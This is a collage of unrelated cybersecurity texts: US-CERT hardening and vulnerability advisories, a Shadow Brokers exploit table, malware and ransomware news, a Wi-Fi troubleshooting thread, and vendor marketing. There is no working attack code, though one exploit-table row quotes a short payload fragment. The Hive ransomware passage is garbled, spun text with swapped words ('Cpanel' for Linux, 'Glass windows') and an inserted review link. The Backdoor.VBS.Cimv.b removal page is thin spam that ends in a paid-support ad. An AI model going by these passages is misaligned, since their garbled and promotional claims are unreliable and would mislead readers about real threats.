encrypted tunnels may be the only viable option. - Segregate standard network traffic from management traffic. - Enforce that management traffic on devices only comes from the OoB. - Apply encryption to all management channels. - Encrypt all remote access to infrastructure devices such as terminal or dial-in servers. - Manage all administrative functions from a dedicated host (fully patched) over a secure channel, preferably on the OoB. - Harden network management devices by testing patches, turning off unnecessary services on routers and switches, and enforcing strong password policies. Monitor the network and review logs Implement access controls that only permit required administrative or management services (SNMP, NTP SSH, FTP, TFTP). 6. Validate Integrity of Hardware and Software Products purchased through unauthorized channels are often known as “counterfeit,” “secondary,” or “grey market” devices. There have been numerous reports in the press regarding grey market hardware and software being introduced into the marketplace. Grey market products have not been thoroughly tested to meet quality standards and can introduce risks to the network. Lack of awareness or validation of the legitimacy of hardware and software presents a serious risk to users’ information and the overall integrity of the network environment. Products purchased from the secondary market run the risk of having the supply chain breached, which can result in the introduction of counterfeit, stolen, or second-hand devices. This could affect network performance and compromise the confidentiality, integrity, or availability of network assets. Furthermore, breaches in the supply chain provide an opportunity for malicious software or hardware to be installed on the equipment. In addition, unauthorized or malicious software can be loaded onto a device after it is in operational use, so integrity checking of software should be done on a regular basis. - Maintain strict control of the supply chain; purchase only from authorized resellers. - Require resellers to implement a supply chain integrity check to validate hardware and software authenticity. - Inspect the device for signs of tampering. - Validate serial numbers from multiple sources. - Download software, updates, patches, and upgrades from validated sources. - Perform hash verification and compare values against the vendor’s database to detect unauthorized modification to the firmware. - Monitor and log devices, verifying network configurations of devices on a regular schedule. - Train network owners, administrators, and procurement personnel to increase awareness of grey market devices. Shadow Broker Exploits \|Fortinet\|\|CVE-2016-6909 \|\|EGREGIOUSBLUNDER\|\|Authentication cookie overflow\| \|WatchGuard \|\|CVE-2016-7089\|\|ESCALATEPLOWMAN\|\|Command line injection via ipconfig\| \|Cisco\|\|CVE-2016-6366\|\|EXTRABACON\|\|SNMP remote code execution\| \|Cisco\|\|CVE-2016-6367\|\|EPICBANANA\|\|Command line injection remote code execution\| \|Cisco\|\|CVE-2016-6415\|\|BENIGNCERTAIN/PIXPOCKET \|\|Information/memory leak\| \|TOPSEC\|\|N/A\|\|ELIGIBLEBACHELOR\|\|Attack vector unknown, but has an XML-like payload\| beginning with <?tos length="001e.%8.8x"? \|TOPSEC\|\|N/A\|\|ELIGIBLEBOMBSHELL\|\|HTTP cookie command injection\| \|TOPSEC\|\|N/A\|\|ELIGIBLECANDIDATE\|\|HTTP cookie command injection\| \|TOPSEC\|\|N/A\|\|ELIGIBLECONTESTANT\|\|HTTP POST parameter injection\| - September 6, 2016: Initial release - September 13, 2016: Added additional references This product is provided subject to this Notification and this Privacy & Use policy. Original release date: May 23, 2016 \| Last revised: October 06, 2016 - Windows, OS X, Linux systems, and web browsers with WPAD enabled - Networks using unregistered or unreserved TLDs Web Proxy Auto-Discovery (WPAD) Domain Name System (DNS) queries that are intended for resolution on private or enterprise DNS servers have been observed reaching public DNS servers . In combination with the new generic top level domain (gTLD) program’s incorporation of previously undelegated gTLDs for public registration, leaked WPAD queries could result in domain name collisions with internal network naming schemes . Opportunistic domain registrants could abuse these collisions by configuring external proxies for network traffic and enabling man-in-the-middle (MitM) attacks across the Internet. WPAD is a protocol used to ensure all systems in an organization use the same web proxy configuration. Instead of individually modifying configurations on each device connected to a network, WPAD locates a proxy configuration file and applies the configuration automatically. The use of WPAD is enabled by default on all Microsoft Windows operating systems and Internet Explorer browsers. WPAD is supported but not enabled by default on Mac OS X and Linux-based operating systems, as well as Safari, Chrome, and Firefox browsers. With the New gTLD program, previously undelegated gTLD strings are now being delegated for public domain name registration . These strings may be used by private or enterprise networks, and in certain circumstances, such as when a work computer is connected from a home or external network, WPAD DNS queries may be made in error to public DNS servers. Attackers may exploit such leaked WPAD queries by registering the leaked domain and setting up MitM proxy configuration files on the Internet. Other services (e.g., mail and internal web sites) may also perform DNS queries and attempt to automatically connect to supposedly internal DNS names . Leaked WPAD queries could result in domain name collisions with internal network naming schemes. If an attacker registers a domain to answer leaked WPAD queries and configures a valid proxy, there is potential to conduct man-in-the-middle (MitM) attacks across the Internet. The WPAD vulnerability is significant to corporate assets such as laptops. In some cases, these assets are vulnerable even while at work, but observations indicate that most assets become vulnerable when used outside an internal network (e.g., home networks, public Wi-Fi networks). The impact of other types of leaked DNS queries and connection attempts varies depending on the type of service and its configuration. US-CERT encourages users and network administrators to implement the following recommendations to provide a more secure and efficient network infrastructure: - Consider disabling automatic proxy discovery/configuration in browsers and operating systems unless those systems will only be used on internal networks. - Consider using a registered and fully qualified domain name (FQDN) from global DNS as the root for enterprise and other internal namespace. - Consider using an internal TLD that is under your control and restricted from registration with the new gTLD program. Note that there is no assurance that the current list of “Reserved Names” from the new gTLD Applicant Guidebook (AGB) will remain reserved with subsequent rounds of new gTLDs . - Configure internal DNS servers to respond authoritatively to internal TLD queries. - Configure firewalls and proxies to log and block outbound requests for wpad.dat files. - Identify expected WPAD network traffic and monitor the public namespace or consider registering domains defensively to avoid future name collisions. - File a report with ICANN if your system is suffering demonstrable severe harm due to name collision by visiting https://forms.icann.org/en/help/name-collision/report-problems. - May 23, 2016: Initial Release - June 1, 2016: Added information on using TLDs restricted from registration with the gTLD program This product is provided subject to this Notification and this Privacy & Use policy. Original release date: May 11, 2016 \| Last revised: September 29, 2016 Outdated or misconfigured SAP systems At least 36 organizations worldwide are affected by an SAP vulnerability . Security researchers from Onapsis discovered indicators of exploitation against these organizations’ SAP business applications. The observed indicators relate to the abuse of the Invoker Servlet, a built-in functionality in SAP NetWeaver Application Server Java systems (SAP Java platforms). The Invoker Servlet contains a vulnerability that was patched by SAP in 2010. However, the vulnerability continues to affect outdated and misconfigured SAP systems. SAP systems running outdated or misconfigured software are exposed to increased risks of malicious attacks. The Invoker Servlet vulnerability affects business applications running on SAP Java platforms. SAP Java platforms are the base technology stack for many SAP business applications and technical components, including: - SAP Enterprise Resource Planning (ERP), - SAP Product Lifecycle Management (PLM), - SAP Customer Relationship Management (CRM), - SAP Supply Chain Management (SCM), - SAP Supplier Relationship Management (SRM), - SAP NetWeaver Business Warehouse (BW), - SAP Business Intelligence (BI), - SAP NetWeaver Mobile Infrastructure (MI), - SAP Enterprise Portal (EP), - SAP Process Integration (PI), - SAP Exchange Infrastructure (XI), - SAP Solution Manager (SolMan), - SAP NetWeaver Development Infrastructure (NWDI), - SAP Central Process Scheduling (CPS), - SAP NetWeaver Composition Environment (CE), - SAP NetWeaver Enterprise Search, - SAP NetWeaver Identity Management (IdM), and - SAP Governance, Risk & Control 5.x (GRC). The vulnerability resides on the SAP application layer, so it is independent of the operating system and database application that support the SAP system. Exploitation of the Invoker Servlet vulnerability gives unauthenticated remote attackers full access to affected SAP platforms, providing complete control of the business information and processes on these systems, as well as potential access to other systems. In order to mitigate this vulnerability, US-CERT recommends users and administrators implement SAP Security Note 1445998 and disable the Invoker Servlet. For more mitigation details, please review the Onapsis threat report . In addition, US-CERT encourages that users and administrators: - Scan systems for all known vulnerabilities, such as missing security patches and dangerous system configurations. - Identify and analyze the security settings of SAP interfaces between systems and applications to understand risks posed by these trust relationships. - Analyze systems for malicious or excessive user authorizations. - Monitor systems for indicators of compromise resulting from the exploitation of vulnerabilities. - Monitor systems for suspicious user behavior, including both privileged and non-privileged users. - Apply threat intelligence on new vulnerabilities to improve the security posture against advanced targeted attacks. - Define comprehensive security baselines for systems and continuously monitor for compliance violations and remediate detected deviations. These recommendations apply to SAP systems in public, private, and hybrid cloud environments. Note: The U.S. Government does not endorse or support any particular product or vendor. - May 11, 2016: Initial Release This product is provided subject to this Notification and this Privacy & Use policy.
By Talos Group By Vanja Svajcer. Attackers are constantly reinventing ways of monetizing their tools. Cisco Talos recently discovered a complex campaign with several different executable payloads, all focused on providing financial benefits for the attacker in a slightly different way. The first payload is a Monero cryptocurrency miner based on XMRigCC, and the second is a trojan that monitors the clipboard and replaces its content. There’s also a variant of the infamous AZORult information-stealing malware, a variant of Remcos remote access tool and, finally, the DarkVNC backdoor trojan. Defenders need to be constantly vigilant and monitor the behavior of systems within their network. Attackers are like water — they will attempt to find the smallest crack to achieve their goals. While organizations need to be focused on protecting their most valuable assets, they should not ignore threats that are not particularly targeted toward their infrastructure. Read More >> The post AZORult brings friends to the party appeared first on Cisco Blogs. Source:: Cisco Security Notice
Been monitoring our wireless traffic with inSSIDer and WirelessMon and I notice our signal for the most part is between 50-60% signal strength. However I've also noticed it will go to 0% and peak around 90% quite frequently, more drops than peaks. I've noticed also the channel will jump between channel 1 and 1 + 5 but this doesn't seem to cause the drop. Any help would be greatly appreciated. Thanks in advance. Wireless can be a pain, it is very prone interference even temporary interference, it could be the lunch cart making it's ways through the building, depending on where your APs are located. But other things that could affect this is having power savings enabled, when not needed the signal strength may decrease. The channel hopping is not that uncommon, many wireless APs will autolock onto a frequency with less interference when possible. Try some different location for monitoring the signal strength and see if the numbers change at all. As Alex says, the signal will bounce around… nothing to worry about. I’ve experienced the same thing here (I have 6 AP’s). I would set a fixed channel though. If you have more than one AP then each should be set 6 channels apart, i.e. channel 1 on the first then channel 6 on the next and channel 11 on the last… start the process over if more AP’s are needed as long as the channels don’t overlap. If the SSID’s are kept the same then a user can move between AP’s and not lose the signal… its seamless. Additionally, if you need more AP’s, you can reuse channels in the same area as long as the SSID is different. In other words, you can have to AP’s within a few yards of each other on the same channel as long as the SSID is different there woun't be a problem. Currently we have 2 AP's, a Trendnet TEW-630APB along with the Netgear WN802T. Settings on Trendnet(1) are channel 11, mixed 802.11n and 802.11g, auto 20/40 MHz channel width, best(automatic) transmission rate with WPA-Personal security mode, Auto(WPA or WPA2) WPA mode and AES cipher type. Netgear is channel 1, mixed 802.11n and 802.11g, best MCS Index/ Data Rate, Dynamic 20/40 MHz channel width, auto guard interval, full output power with WPA-PSK authentication and TKIP+AES encryption. Both SSID's are the same. The Netgear is centrally located in the server room and the Trendnet is around 60 feet away from the Netgear. We have approximately 15,000 sq. ft. of office space. We have another Trendnet(2) that we had in the opposite corner of the building but are using this for a test environment for a public network we will be installing. I didn't notice any dropouts until I gave both AP's the same SSID? Doesn't make any sense to me. Besides SSID I changed the security of Trendnet(1) because it had to support an older Mac laptop with wireless B! Hope this may help a little more with our issue. Thanks for the replies. That is odd that having the same SSID caused issues as I have not run into that before, unless the Netgear was trying to setup some proprietary 'bridge' connection or something with the other WAP with the same SSID.... I did want to comment that I have seen similar results with the signal strength bouncing around on consumer grade access points (With the Netgear WN802T a bit higher end that your basic 'Best Buy' consumer offering, but I would still consider that a consumer level product....). I say that not to be negative but with our higher end 3Com and HP WAPs we have I do not seem to see that much variation in signal strength, as least with what I see from home based units.....That must have been a 'older than the hiils' Mac product that only did B ...wow....
Blog Posts Tagged with "Exploits" May 28, 2012 Added by:Dan Dieterle The exploiting sections are very good, covering the famous exploitation techniques of attacking MS SQL, dumping password hashes, pass the hash & token impersonation, killing anti-virus and gathering intelligence from the system to pivot deeper into the target network... May 24, 2012 Added by:Headlines "The worst-case scenario here is an attacker who tricks the user into installing a malicious application that takes advantage of this privilege escalation flaw. Once the application has full access to the device, the attacker can install, delete, monitor, and modify the device..." May 22, 2012 Added by:Fergal Glynn Information leakage happens when sensitive information is displayed to the a user inadvertently. An example would be pathnames or database IP addresses returned within an error message to a user. An attacker can use this information to undermine the system... May 22, 2012 Added by:Dan Dieterle Metasploitable is a great platform to practice and develop your penetration testing skills. In this tutorial, I will show you how to scan the system, find one of the vulnerable services, and then exploit the service to gain root access... May 21, 2012 Added by:Infosec Island Admin Researchers have identified multiple buffer overflow vulnerabilities in the Advantech Studio product that could allow an attacker to cause buffer overflows, which in turn can allow arbitrary execution code. An exploit code is known to exist that targets these vulnerabilities... May 18, 2012 Added by:Gregory Hale If an attacker wants to target a system, they will get in no matter what, what kind of damage occurs depends on how many layers of security buttress the system. Companies in specific industries could band together and share information on attacks that target their industries... May 18, 2012 Added by:Infosec Island Admin The vulnerabilities affecting Pro-face Pro-Server include invalid memory access, buffer overflow, unhandled exception, and memory corruption with proof-of-concept exploit code. According to this report, these vulnerabilities are exploitable via specially crafted packets... May 16, 2012 Added by:Headlines Malware researcher Dancho Danchev is reporting a widespread social engineering campaign on Skype that is spreading a variant of the Poison Ivy Trojan. Less than half of the 42 commercial antivirus solutions surveyed are able to detect the Trojan's signature... May 15, 2012 Added by:Headlines "Cyber Espionage attacks are not a fabricated issue and are not going away any time soon... They are aiming to expand their access and steal data. Communications (primarily e-mail), research and development (R&D), intellectual property (IP), and business intelligence..." May 11, 2012 Added by:Infosec Island Admin Security researcher Dillon Beresford of IXIA has identified a memory corruption vulnerability in the Progea Movicon application. This vulnerability can be exploited by a remote attacker to read an invalid memory address resulting in a denial of service... May 10, 2012 Added by:Infosec Island Admin Researchers Alexandr Polyakov and Alexey Sintsov from DSecRG identified an unsecure password encryption vulnerability in WellinTech KingSCADA application. When KingSCADA OPCServer and OPCClient are not on the same node, a remote attacker may obtain passwords to the system... May 08, 2012 Added by:Dan Dieterle Of the 200,000 HTTPS websites tested, only about 10% are properly secured. Changes need to be made to the secure online transaction system. Several of the issues have already been addressed, sadly it seems that the appropriate measures to secure SSL have just not been taken... May 06, 2012 Added by:Quintius Walker A major aim of Kung-Fu Hacking training is System Security - or more so being able to secure your own systems. This ability to defend ourselves is a general asset, and has long-term benefits as more and more vulnerabilities become exploitable to the general public... May 01, 2012 Added by:Marc Quibell Right there as top IT News was an article on how to pwn a Hotmail account. It was a 0-day exploit, which meant no one at Microsoft was notified. It was written by a self-described ethical hacker. Naturally my first reaction was, "Ya right"... May 01, 2012 Added by:Headlines "In addition to the 81% surge in attacks, the number of unique malware variants also increased by 41% and the number of Web attacks blocked per day also increased dramatically, by 36%. Greater numbers of more widespread attacks employed advanced techniques..." April 30, 2012 Added by:Mark Baldwin This vulnerability from July 2011 is still present in the latest version of OpenX Source (version 2.8.8). Moreover, this vulnerability is being actively exploited to compromise OpenX Source installations in order to serve malicious content via banner ads... Student Pleads Guilty to Counterfeiting Coup... on 06-18-2013 Starting to Clean Up the Mess from PCAnywher... Peggy Patterson on 06-18-2013
Attackers exploit major vulnerability in Oracle WebLogic Server to drop cryptominers - The vulnerability was actively exploited to install miners for cryptocurrencies such as Monero. - It was reported that the malware used in the attack cloaked itself in certificate files for obfuscation. A security vulnerability in Oracle WebLogic Server was found to be actively exploited by cybercriminals to install cryptocurrency miners. Security researchers from Trend Micro discovered that the malware used in the attack hid in certificate files and later dropped Monero miners in the system. Tracked as CVE-2019-2725, the vulnerability is a deserialization remote code execution (RCE) flaw, which could allow unauthenticated attackers with network access to compromise WebLogic servers. - In their blog, the researchers detailed the infection chain of the attack. The attack begins with the malware exploiting CVE-2019-2725 to execute a PowerShell command. - This command is used to download a certificate file from a C2 server. The file, saved as ‘cert.cer’, is decoded using a Windows application called certutil. This decoded file is saved as ‘update.ps1’. - Upon executing this decoded file, the certificate file is deleted. Parallelly, a PowerShell script is downloaded and stored in memory. This script downloads and executes the cryptocurrency miner payload and other components. Using certificate files for obfuscation The researchers suggest that the use of certificate files for hiding malware has been prevalent for a while. “The idea of using certificate files to hide malware is not a new one: a proof of concept was introduced late last year by Sophos in which they demonstrated placing an Excel file with an embedded macro inside a certificate file,” read their blog. “By using certificate files for obfuscation purposes, a piece of malware can possibly evade detection since the downloaded file is in a certificate file format which is seen as normal -— especially when establishing HTTPS connections,” added the researchers. Oracle has released an update to fix the issue in WebLogic. Users are advised to apply this update to stay protected from RCE and similar attacks.
"Political goals are now achieved by operating in cyberspace, and this is also how the military approaches it- planning scenarios do not consider open conflicts, but hybrid ones," said Colonel Mariusz Chmielewski, deputy director of the National Cybersecurity Center. According to the head of CERT Poland Przemysław Jaroszewski, the answer to hybrid threats in cyberspace should be "strengthening the resilience of citizens and society". "We should show that conflicts in the third decade of the 21st century are increasingly no longer about driving in tanks, but about spreading information that causes social conflicts," said Przemyslaw Jaroszewski. “The more we know about it, the more we talk about it, the more resilient we are as a society and as a State," he stressed. Participants in the debate agreed that education - directed at both children and the elderly - is the key to not succumbing to threats and hybrid activities designed to stimulate conflict. It is also necessary to exchange information between the institutions of power operating in the field of security and to educate specialists - experts in the field of cyber security. "There is no cyber security without government-business-military cooperation. There must be a quick exchange of data, there is no place for individual ambitions," said Colonel Chmielewski. NASK (Research and Academic Computer Network) as one of three national levels of CSIRTs (Computer Security Incident Response Team) is an entity obliged to handle incidents submitted by operators of key services, providers of digital services, local government, and all those entities that are not served by CSIRT GOV (The Governmental Computer Security Incident Response Team) and CSIRT MON (CSIRT of the Ministry of National Defence). Source: Poland Daily 24, PAP - MediaRoom
Backdoor.VBS.Cimv.b is categorized as malicious computer backdoor by cyber-criminal to gain access to personal computer. Backdoor.VBS.Cimv.b can escape from security software detection especially there are some loopholes in the system. Backdoor.VBS.Cimv.b is produced from visiting Trojan associated web pages or installed by other threats like viruses, Trojans or spywares. In addition, Backdoor.VBS.Cimv.b just opens door for other threats. In this case, users’ personal information is not safe anymore. Backdoor.VBS.Cimv.b can stealthily infect system files or send user’s key strokes to remote hacker. It’s strongly suggested to remove backdoor for staying away from bad influence generated by Backdoor. Backdoor.VBS.Cimv.b Is Breaking Down System: - Backdoor.VBS.Cimv.b helps intruders do their harmful system modifications - Backdoor.VBS.Cimv.b allows unauthorized remote server monitor infected system and install hidden FTP for more criminal action - Backdoor.VBS.Cimv.b comes with numerous malware - Backdoor.VBS.Cimv.b records users’ confidential information - Backdoor.VBS.Cimv.b slows down the infected system and make it difficult to uninstall Now that you know Backdoor is such a dangerous parasite, you should uninstall Backdoor.VBS.Cimv.b quickly with the manual removal guide. How to Manually and Effectively Remove Backdoor.VBS.Cimv.b? First, end Backdoor.VBS.Cimv.b process with windows take manager: random.exe(changes according to systems) Second, delete Backdoor.VBS.Cimv.b files: Third, remove Backdoor.VBS.Cimv.b malicious registry entries: HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings Attention: Manual removal of Backdoor.VBS.Cimv.b is effective to uninstall its stubborn & malicious stuff that anti-virus or anti-spyware software cannot do. Anyhow, it requires skills and experience, to ensure a complete deletion, it is recommended to contact online expert for professional operation. Expert Recommendation: Tee Support is the #1 place to get IMMEDIATE live help for your PCs, peripherals, devices and software applications 24/7. It is faster, much cheaper and more convenient than in-store repair or service call, saving your time and money and avoiding hours of unnecessary frustration. Get your problems solved right now and make your PC run like new again! - How to Remove Backdoor:Win32/IRCbot.gen!M – Guide to Get Rid of Backdoor:Win32/IRCbot.gen!M Easily - Backdoor.Win32.VB.huo, How to Remove Backdoor.Win32.VB.huo Completely - Remove Backdoor.Win32.Hupigon.alfr – How to Eliminate Backdoor.Win32.Hupigon.alfr Manually? - Remove Backdoor.Win32.Cakl.ba – Completely Delete and Get Rid of Backdoor.Win32.Cakl.ba - How to Get Rid of Backdoor.win32.ZAccess.de(Removal Guide) - Infected with Trojan.Crypt!IK Virus? Remove Trojan.Crypt!IK Manually Step by Step - How to Remove Backdoor.Whalfrost!gen – Guide to Get Rid of Backdoor.Whalfrost!gen Easily - Delete Backdoor:Win32/Zegost.AD Infection Thoroughly – Backdoor:Win32/Zegost.AD Manual Removal Method - Remove Backdoor.Cycbot.G Virus (Backdoor.Cycbot.G Manual Removal Guide) - What is Worm.Orbina!rts? How to Remove Worm.Orbina!rts( Manual Removal Guide) - Delete Windows Malware Firewall Rogue Thoroughly - Windows Malware Firewall Manual Removal Method - Get Rid of www.easya-z.com Redirect Virus, www.easya-z.com Virus Complete Removal - How to Remove Windows Privacy Agent, Windows Privacy Agent Removal - Mal/EncPk-MX? How to Remove Mal/EncPk-MX - How to Manually Remove Trojan:JS/Blacofus.A/ Tips for Trojan Virus Removal - Remove Trojan Horse Generic25.qsd - How to Get Rid of Trojan Horse Generic25.qsd - How to Remove Virus.Edetok.A Without Formatting Computer, Virus.Edetok.A Removal Guide - Remove Exploit:Java/Blacole.CC - Completely Delete Exploit:Java/Blacole.CC
Ransomware has developed into several versions, which include ones that pinpoint Linux and FreeBSD systems. The new rendition of the Hive virus is certainly written in Golang, a cross-platform language which has no certain requirements, and it does not trigger security not having root benefits. Instead, the malware drops a ransom note on compromised underlying file systems. Currently, the Hive ransomware has afflicted 30 institutions, ranging from finance companies to government agencies. The newest variant on the Hive ransomware has been determined by ESET researchers, and it appears that it is just available for Cpanel and FreeBSD. It is even now under advancement, but the code is developed in Golang, and its strings, package names, and function brands have been obfuscated. It also fails to encrypt a system when it will not have main privileges. Because of this, it’s not a viable means to fix encrypting Apache systems. The Linux and FreeBSD editions of the Hive ransomware have been discovered by ESET Research Labs. While Beehive was developed in Golang, the Linux release appears to have bugs. This may not be unusual meant for imperfect or spyware in the crazy. This alternative uses a sole command tier parameter to infect the training. However , the ESET samples are early samples and have not been completely featured. The Linux version of the Beehive ransomware is known to become buggy, and only supports 1 command tier parameter. The Windows release supports approximately five setup options. The Linux alternative only has got one exe option, which is a significant disadvantage for the malware. The malware’s fresh encryptors are likewise under development. A newly released discovery of an Linux variant suggests it could be just as dangerous. A new Cpanel variant in the Hive ransomware was determined by ESET researchers that kicks off in august. The Cpanel variant is somewhat more complex than its Windows counterpart, requiring basic privileges to trigger security. Its writers also offer five different options when working Hive in Windows. Due to this fact, the spyware and can choose to skip old files which are not of interest. This kind of variant may infect Linux and FreeBSD. Its Cpanel variant, however , has several flaws and root-level liberties antivirus-review.com – Eset review to execute. It will probably encrypt data with a selection of file systems, including root-file systems. Furthermore to Glass windows, Linux and FreeBSD are definitely the two most common systems used by businesses. As a result, the variants may affect any number of equipment.
Thursday, January 10, 2008 1:35 PM McAfee Avert Labs Blog - W32/Kibik.b – Seeking Them Out From Your Codecs and Winlogon.Exe W32/Kibik.b – Seeking Them Out From Your Codecs and Winlogon.Exe Friday January 4, 2008 at 9:46 am CST Posted by Geok Meng Ong, Harry Sverdlove, Joey Koo Websites delivering malicious payload either in the form of web exploits or plain old executables masquerading as multimedia or legit applications is not uncommon. In the past year, we must have blogged a dozen times how the popularity of Internet audio and video has turned them into a malware wonderland – from movie infecting worms to dodgy codec installers, yes even on MacOS; and most recently, Puper trojans capitalizing on the Bhutto assassination video. From widespread infection that hit the headlines the next day, to stealthy backdoors and password stealers aimed to stay quiet and reside in your computer for as long as possible. McAfee’s SiteAdvisorTM technology performs behavioral analysis looking for suspicious activities in code that resides within the inter-twined nests of exploited sites. Be it rogue administrators or compromised servers, such sites might certainly host safe downloads, but they are far more likely to host something malicious than your average site. Just before Christmas 2007, when our crawlers detected dodgy behavior that was attributed to a site linked to a nest of exploits, our system quickly escalated it for human review. It turned out to be a variant of W32/Kibik, a stealthy limited parasitic virus that targets only specific files and stays low under most radar. The website tricks the user into downloading a fake media codec, now detected as W32/Kibik.b. Figure 1. Instruction to download fake media codec Like its big brother, the new variant is hard to detect as it infects Winlogon.exe by quietly planting the virus in an unused null-ed out segment of the file, and unlike most viruses, does not change the size of the file. It also does not leave a trace in the Windows registry or modifies other files in the computer, but starts each time the system starts up. W32/Kibik.b retrieves commands from the server hosted at swf1.flashxyx.com. This domain appears to be hosting free games for download, but is (ab)used as a command and control server for W32/Kibik.b. On each startup, the following several actions are performed once: 1) A network connection is made to swf1.flashxyx.com. 2) At the time of our investigation, the host was active but not delivering any files, but our static analysis shows it can and will download and execute additional files: Figure 2. Download and execute code in DLL It goes on to poll the website in 5-minute intervals to retrieve further commands from the controller. As its actions are relatively low-noise, and was active during the holiday season, few security vendors have detected W32/Kibik.b, as was its older variant. More details of W32/Kibik.b are available.
We believe in securely connecting everything by enabling users to build private networks within the internet that only they can see. We provide zero trust IT/OT networking as a service. On February 16th, cybersecurity firm ClearSky revealed that they had uncovered a persistent and long-running campaign by Iranian-backed hacker groups to infiltrate computer networks by exploiting known CVEs in VPN solutions from companies such as Pulse Secure, Fortinet, Palo Alto Networks, and Citrix. In some cases, attacks would begin on the targeted VPNs within hours of new CVEs being disclosed. Once the hackers had penetrated the target networks, they installed back doors that would enable them to continue accessing the network even after the vulnerabilities had been patched. Industrial sectors that were targeted include IT and computing, utilities, defense, petroleum, and aviation. The installed backdoors are difficult to detect and remove. ClearSky warns of the possibility of large-scale infrastructure attacks in the future since the hackers could activate all the backdoors at once to bring down utilities, communications, and transportation networks across the country. Mitre Corporation operates and maintains the National Cybersecurity FFRDC for the purpose of identifying and sharing information-security vulnerabilities in publicly released software packages so that security professionals might understand, remediate, or avoid vulnerable software more efficiently. Now it appears the CVEs are being exploited by hacking groups such as the Iranian-backed groups ClearSky identifies as APT34-OilRig, APT33-Elfin and APT39-Chafer in what they call the “Fox Kitten Campaign.” In Fox Kitten, APTs such as OilRig use known vulnerabilities such as those published for the Pulse Secure “Connect” VPN (CVE-2019-11510), the Fortinet FortiOS VPN (CVE-2018-13379), and Palo Alto Networks “Global Protect” VPN (CVE-2019-1579). For each of these CVEs, an attacker can gain unauthenticated access to various network functions through flaws in the VPN software. For example, with CVE-2019-11510, “an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file read.” In other words, by identifying the VPN and sending a particular Uniform Resource Identifier, hackers can read files that are supposed to be protected by the VPN without logging in to the VPN. Furthermore, the Iranian APT groups were able to exploit 1-day vulnerabilities in relatively short time frames, from a few hours to a week or two from the date a CVE was published. Iranian groups are able to engineer ways to exploit newly discovered vulnerabilities and then apply those methodologies to targeted VPNs, which suggests an advanced ability to rapidly identify targeted VPNs. The beauty of VPNs are that they act as doorways to safe and secure information and private communication from anywhere on the Internet. This is possible because VPNs have gateways with fixed, global IP addresses with open communication ports that allow employees or trusted users to find the doorway into the network, and then, theoretically, use a safe key to authenticate and pass through into the trusted space within. This convenience turns in a dark direction when hackers combine known global IP addresses of VPN gateways with CVEs to bypass the authentication process and gain access to resources inside the VPN, as the APTs involved with the Fox Kitten campaign have. The open port that resides at the global public IP address where the VPN is hosted is the root cause of the current security dilemma. A VPN server by definition must reside at a routable global IP address and provide an open port where legitimate users can initiate a connection and log in with their username and password. The problem is that open ports are also vulnerable to unsolicited inbound traffic. Anyone can initiate a connection, and thus malicious parties can use stolen credentials, attempt to guess logins by brute force, leverage social engineering trickery or exploit bugs in the VPN server software to gain access to the network. remote.it was created by networking industry veterans seeking to solve the persistent security problems related to port forwarding and global IP addresses. The public visibility and availability of devices on the internet, especially those with open ports intended to provide remote access, has been, until recently, a necessary and seemingly unavoidable security compromise since the inception of TCP/IP networking. If one creates a private network that doesn’t depend on users finding the gateway with a public global IP address and then using an open port to log in, one can eliminate a major attack surface used by hackers to break into networks. The remote.it virtual private internet (VPI) solution creates a private network where the VPN gateway is 100% reachable over the internet by legitimate users, but where the open ports are gone, rendering the gateway completely invisible to non-legitimate users. In this way, remote.it is addressing the number one vulnerability of the world’s entire installed base of VPNs without changing the existing VPN software. remote.it acts as a network overlay onto existing TCP/IP networks, enabling private authentication and private network routing. Devices on the VPI have managed access to the resources within the VPI just as one might have when accessing a VPN. The difference is, permissions are defined with each user or device account. There is no way for a hacker to bypass authentication to simply “access everything” nor is there any particular network device to target, as is the case with VPNs. Your online security shouldn’t have a permanent attack surface on the internet just because traditional VPNs have always done it that way. New approaches to networking are enabling companies to create innovative security solutions such as with virtual private internets from remote.it. remote.it is free for developers and simple to license and deploy for enterprises. Get started in ten minutes with our quick start process, and enable any device with remote.it by installing our sub-200K networking daemon. We support small and large scale bulk registration and management of fleets of IoT devices.
Researchers at Heimdal Security detected a new ransomware strain that a threat group known as DeepBlueMagic is using. The ransomware differs significantly from all other earlier identified ransomware variants. Heimdal Security researchers identified the new ransomware on August 11, 2021. The ransomware was utilized to target a device operating on Windows Server 2012 R2. The evaluation of the attack showed that DeepBlueMagic ransomware works entirely differently compared to other previous ransomware variants. The researchers learned that DeepBlueMagic ransomware deactivates security tools set up on devices to avoid detection, then goes on to encrypt whole hard drives utilizing a third-party disk encryption tool instead of files. All the targeted server’s drives are encrypted except the system drive (“C:\” partition). The ransomware utilizes Jetico’s BestCrypt Volume Encryption software program. During an attack, the D:\ drive was changed into a RAW partition instead of NTFS, which made it unavailable. Right after an attack, any effort to gain access to the encrypted drive will make the Windows OS interface prompt the user to format the disk because the drive is unreadable. Additional investigation of the attack showed that the ransomware halted all the targeted device’s third-party Windows services, therefore turning off all security tools. Then, DeepBlueMagic ransomware removed the Volume Shadow Copy in Windows to make sure the drive cannot be repaired. An effort was additionally made to switch on Bitlocker on all the Active Directory’s endpoints. In this ransomware attack, the disk encryption procedure began yet wasn’t finished; encryption was only done on the volume headers. Therefore, the encryption procedure can be continued, and also there is a rescue file generated by Jetico’s BestCrypt Volume Encryption, which may be utilized to recover the drive; nevertheless, the ransomware also encrypted the rescue file. To get the rescue file, a password is needed. Heimdal Security explained that the ransomware is then self-deleted after the attack, therefore it cannot be restored and examined at this juncture. The researchers could not ascertain how the attacker installed the ransomware on the server. There were no failed sign-in attempts therefore it wasn’t installed through a brute force attack. There was only a Microsoft Dynamics AAX set up having a Microsoft SQL Server. There was a ransomware note attached on the desktop, which told the victim to check through email to determine the ransom amount in exchange for the password for recovering the encrypted drives. According to Heimdal Security researchers, since the encryption process was just partly done, it is possible to recover the drives without paying the ransom. They simulated the process of DeepBlueMagic and tried to utilize a number of decryption tools and successfully recovered the files on the encrypted partition utilizing CGSecurity.org’s free TestDisk tool. The present ransomware issue is hot at this time with a large number of companies being impacted every day around the world. Financial losses amount to millions of dollars and there are serious social implications. This new ransomware variant just further stresses the cyber criminals’ inclination and capability to improve their business and continually increase their profit. DeepBlueMagic along with the other new cyber attackers will, definitely, continue targeting businesses worldwide, therefore it’s important for business owners to begin implementing prevention steps instead of mitigation. The battle between cyber crooks and cybersecurity organizations will likely intensify.
